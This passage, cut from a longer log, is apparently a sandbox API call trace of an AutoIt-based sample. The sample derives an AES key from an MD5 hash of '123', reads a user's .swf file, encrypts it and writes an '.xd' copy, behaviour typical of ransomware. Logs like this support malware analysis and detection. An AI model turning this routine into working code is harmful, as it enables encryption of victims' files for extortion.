lpMsg=0x130ec34) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.116] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.116] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.116] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.116] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.116] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.116] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.116] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.116] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.116] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.116] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.117] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.117] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.117] CryptCreateHash (in: hProv=0x17aa670, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.117] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629570, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.117] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.118] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.118] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.118] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.118] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.118] CryptHashData (hHash=0x164c430, pbData=0x1629570, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.118] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.119] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.119] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.119] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.119] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.119] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621870, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.119] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.119] CryptDeriveKey (in: hProv=0x17aa670, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0066.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.120] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.120] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0066.120] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0066.120] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0066.120] CryptDestroyHash (hHash=0x164c430) returned 1 [0066.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.120] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.120] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.120] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.120] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_3frv6x_.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0066.121] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.121] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0066.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.121] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.121] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0066.122] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\_3frV6x_.swf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\_3frv6x_.swf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0066.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.122] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.123] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.125] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0066.125] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0066.126] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4b0c, lpOverlapped=0x0) returned 1 [0066.128] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0066.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.132] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.132] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0066.134] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.134] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.134] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0066.134] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.134] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0066.134] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.134] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.134] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.134] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0066.134] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0066.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0066.134] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0066.135] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629640, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629640*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0066.135] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.135] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.135] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.135] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.135] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.136] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.136] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.136] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.136] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.136] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.137] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.137] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x14b0c, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x14b10) returned 1 [0066.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.137] CharLowerBuffW (in: lpsz="byte[84753]", cchLength=0xb | out: lpsz="byte[84753]") returned 0xb [0066.137] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.140] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.140] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.140] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.142] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0066.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0066.142] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0066.142] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e5630*, pdwDataLen=0x130e618*=0x14b0c, dwBufLen=0x14b10 | out: pbData=0x17e5630*, pdwDataLen=0x130e618*=0x14b10) returned 1 [0066.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.143] PeekMessageW (in: lpMsg=0x130ec34, 